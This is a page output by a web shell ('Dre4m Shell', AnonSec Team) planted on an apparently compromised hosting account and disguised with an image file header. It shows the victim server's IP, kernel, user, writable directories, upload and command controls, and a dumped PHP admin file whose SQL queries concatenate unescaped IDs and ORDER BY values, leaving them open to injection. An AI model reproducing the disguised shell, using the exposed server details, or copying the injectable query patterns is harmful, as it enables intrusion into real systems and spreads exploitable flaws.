ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/cp-admin/includes/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/cp-admin/includes/functions/db_functions.php
<?php
/*
Fonction Insertion & Mise à jours de données.
*/

function save_posted_data($data, $table_name) {	
	$fields='';
	$values='';
	$fields_values=array();
	if(count($data)>0) {
		foreach($data as $ind => $value) {
			$fields .= $ind.", ";
			$values .= ":" . $ind . " , ";
			$fields_values[$ind] = stripcslashes($value);
		}
	}
	
	$fields = substr($fields,0,-2);
	$values = substr($values,0,-2);
	
	$sql = "INSERT INTO $table_name ($fields) VALUES ($values)";

	$req = $GLOBALS['bdd']->prepare($sql);
	$req->execute($fields_values);

	$result = $GLOBALS['bdd']->lastInsertId();
	return $result;
}

function update_posted_data($data, $id, $table_name) {	
	$fields='';
	$fields_values = array();
	if(count($data)>0) {
		foreach($data as $ind => $value) {
			$fields .= $ind." = :".$ind." , ";
			$fields_values[$ind] = stripcslashes($value);
		}
	}
	
	$fields = substr($fields,0,-3);
	
	$sql = "UPDATE $table_name SET $fields WHERE id=$id";

	$req = $GLOBALS['bdd']->prepare($sql);
	$req->execute($fields_values);
}

function delete_posted_data($id, $table_name) {
	$sql = "DELETE FROM $table_name WHERE id=$id";
	$GLOBALS['bdd']->exec($sql);
}

/*
Fonction Galerie
*/

function get_images($criteria=array()) {
	$category_id = $criteria['category_id'];
	$order = $criteria['order'];
	$page_number = $criteria['page_number'];
	$nb_display = $criteria['nb_display'];
	
	if($page_number=='')
		$page_number=1;
	if($nb_display=='')
		$nb_display=10;
	if($order=='')
		$order='id DESC';
	
	$start = $page_number*$nb_display-$nb_display;
	
	$sql = "SELECT * FROM ".$GLOBALS['db_table']['images']." WHERE 1";
	
	if($category_id!='')
		$sql .= " AND category_id=".$category_id;
	
	$sql .= " ORDER BY $order";
	$sql .= " LIMIT $start, $nb_display";
	
	$result = $GLOBALS['bdd']->query($sql);
	$result = $result->fetchAll();
	
	$image_path = $GLOBALS['app_domain_url'].$GLOBALS['app_folder'].'/'.$GLOBALS['uploads']['folder_name'].'/';
	for($i=0; $i<count($result); $i++) {
		$result[$i]['img_thumb'] = $image_path.'mini/'.$result[$i]['name'];
		$result[$i]['img_source'] = $image_path.$result[$i]['name'];
	}
	
	return $result;
}

function get_nb_images($criteria=array()) {
	$category_id = $criteria['category_id'];
	
	$sql = "SELECT count(*) FROM ".$GLOBALS['db_table']['images']." WHERE 1";
	
	if($category_id!='')
		$sql .= " AND category_id=".$category_id;
	
	$result = $GLOBALS['bdd']->query($sql);
	$result = $result->fetch();	

	return $result;
}

function get_total_by_category() {
	$sql = 'SELECT category_id, count(*) nb FROM '.$GLOBALS['db_table']['images'].' GROUP BY category_id';
	$result = $GLOBALS['bdd']->query($sql);
	$result = $result->fetchAll();

	for($i=0; $i<count($result); $i++) {
		$total[$result[$i]['category_id']] = $result[$i]['nb'];
	}
	return $total;
}

// Affichage de la liste des Albums
function get_gallery_albums($criteria=array()) {
	$order = $criteria['order'];
	if($order=='')
		$order = 'name';

	$sql = "SELECT * FROM ".$GLOBALS['db_table']['categories']." WHERE 1 ORDER BY $order DESC";
	
	$result = $GLOBALS['bdd']->query($sql);
	$result = $result->fetchAll();
	
	return $result;
}

/*
Fonction Affichage liste données
*/

function get_list($criteria=array()) {
	$table = $criteria['table'];
	$order = $criteria['order'];

	$sql = "SELECT * FROM ".$GLOBALS['db_table'][''.$table.'']."";

	$sql .= " ORDER BY $order";

	$result = $GLOBALS['bdd']->query($sql);
	$result = $result->fetchAll();	

	return $result;
}

/*
Fonction Affichage sélection
*/

function get_select($criteria=array()) {
	$table = $criteria['table'];
	$where1 = $criteria['where1'];
	$where2 = $criteria['where2'];
	$order = $criteria['order'];
	$order2 = $criteria['order2'];

	$sql = "SELECT * FROM ".$GLOBALS['db_table'][''.$table.'']." WHERE ".$where1."=".$where2."";

	if($order != '')
	{
		$sql .= " ORDER BY $order ";

		if($order2 != '')
			$sql .= $order2;
		else
			$sql .= "ASC";
	}

	$result = $GLOBALS['bdd']->query($sql);
	$result = $result->fetchAll();
	
	return $result;

}

// Affichage de la publicté
function get_adv($criteria=array()) {
	$where = $criteria['where'];
	
	$sql = "SELECT * FROM ".$GLOBALS['db_table']['advertisings']." WHERE id=".$where."";
	
	$result = $GLOBALS['bdd']->query($sql);
	$result = $result->fetchAll();
	
	return $result;
}

// Affichage des Templates
function get_templates() {
	
	$order = 'name';

	$sql = "SELECT * FROM ".$GLOBALS['db_table']['templates']."";

	$sql .= " ORDER BY $order";

	$result = $GLOBALS['bdd']->query($sql);
	$result = $result->fetchAll();
	
	return $result;

}


 

// Affichage de la Page Parente
function get_parent_pages($criteria) {
	$parent = $criteria;
	
	$sql = "SELECT name FROM ".$GLOBALS['db_table']['pages']." WHERE id=".$parent."";

	$list = $GLOBALS['bdd']->query($sql);
	$list = $list->fetchAll();

	for($i=0; $i < count($list) ; $i++) 
	{
		$result = $list[$i]['name'];
	}
	
	return $result;
}

// Affichage de la vignette de l'album
function get_vignette_album($criteria) {
	$id = $criteria;
	
	$sql = "SELECT name FROM gallery_pictures WHERE category_id=".$id."";

	$list = $GLOBALS['bdd']->query($sql);
	$list = $list->fetchAll();

	for($i=0; $i< count($list) ; $i++) 
	{
		$result = $list[$i]['name'];
	}
	
	return $result;
}

// Affichage de la page
function get_page($criteria=array()) {
	$where = $criteria['where'];
	
	$sql = "SELECT * FROM ".$GLOBALS['db_table']['pages']." WHERE id=".$where."";
	
	$result = $GLOBALS['bdd']->query($sql);
	$result = $result->fetch();
	
	return $result;
}

//////////////////////////////////////////////////////////////////

// Fonction Affichage liste ts les themes meme non actifs
function get_themes() {
	$sql = $GLOBALS['bdd']->query("SELECT * FROM themes ORDER BY id");
	$result = $sql->fetchAll();
	return $result;
}

// Fonction Affichage theme par defaut
function get_themes_def() {
	$sql = $GLOBALS['bdd']->query("SELECT * FROM themes  WHERE cle='1'");
	$result = $sql->fetchAll();
	for($i=0; $i<count($result); $i++) {
		$id = $result[$i]['id'];
    }
	return $id ;

}


// Fonction Affichage conf theme
function get_theme_conf($id) {
	$sql = $GLOBALS['bdd']->query("SELECT * FROM themes WHERE id='$id'");
	$result = $sql->fetchAll();
	return $result;
}
// Fonction Affichage conf theme_empreinte pour RESET
function get_theme_empreinte_conf($id) {
	$sql = $GLOBALS['bdd']->query("SELECT * FROM themes_empreinte WHERE id='$id'");
	$result = $sql->fetchAll();
	return $result;
}

// Efface d'apres ID //
function delete_posted_id($id, $table_name) {
	$sql = "DELETE FROM $table_name WHERE id=$id";
	$GLOBALS['bdd']->exec($sql);
}


?>

Anon7 - 2022
AnonSec Team